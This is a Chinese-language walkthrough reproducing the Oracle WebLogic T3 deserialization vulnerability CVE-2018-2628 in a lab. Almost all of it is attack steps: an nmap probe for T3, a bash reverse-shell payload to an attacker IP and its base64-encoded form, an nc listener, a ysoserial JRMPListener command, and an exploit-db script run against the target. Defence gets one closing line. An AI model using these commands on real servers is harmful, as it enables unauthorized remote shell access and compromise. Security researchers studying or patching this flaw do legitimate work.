Weblogic WLS Core Components 反序列化命令执行漏洞 CVE-2018-2628
漏洞编号
CVE-2018-2628
漏洞描述
Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令。
影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
漏洞验证
1、使用goby或nmap扫出来目标存在weblogic后,再使用以下nmap命令探测目标是否开启了T3服务。
nmap -T4 -sV -O -P 7001 --script weblogic-t3-info 192.168.116.133
从扫描结果可以看出目标主机已开启T3服务
2、使用响应的poc脚本进行检测
由图所示目标存在漏洞。
漏洞复现
1、该命令执行漏洞无回显,因此只能对目标执行代码而无法返回执行结果,所以,这里直接进行反弹shell。反弹shell payload:bash -i >& /dev/tcp/192.168.116.140/4444 0>&1
由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,所以使用base64的反弹shell的形式,具体如下:
bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i}
2、在攻击机上使用nc监听端口
nc -lvvp 4444
3、在攻击机或vps上开启JRMP Server端口监听,端口随意,这里设置为30080.
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 30080 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNi4xNDAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'
出现Opening JRMP listener on 30080即表明jrmp server监听成功。
4、在攻击机上执行payload进行攻击。exp下载地址:https://www.exploit-db.com/exploits/44553
copy代码,保存为exploit.py即可。
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
这里的victim ip/port 为靶机的ip和端口,path to ysoserial为ysoserial.jar文件的路径,因为这个exp会调用这个jar,JRMPListener ip/port为jrmp server服务器的ip和监听的端口,这里端口为30080。JRMPClient有两个选项,为:JRMPClient或JRMPClient2,这里使用JRMPClient。
最终payload:
python CVE-2018-2628exploit.py 192.168.116.133 7001 /root/weblogic/ysoserial-all.jar 192.168 .116.140 30080 JRMPClient
反弹shell成功:
漏洞防御
升级weblogic版本或打补丁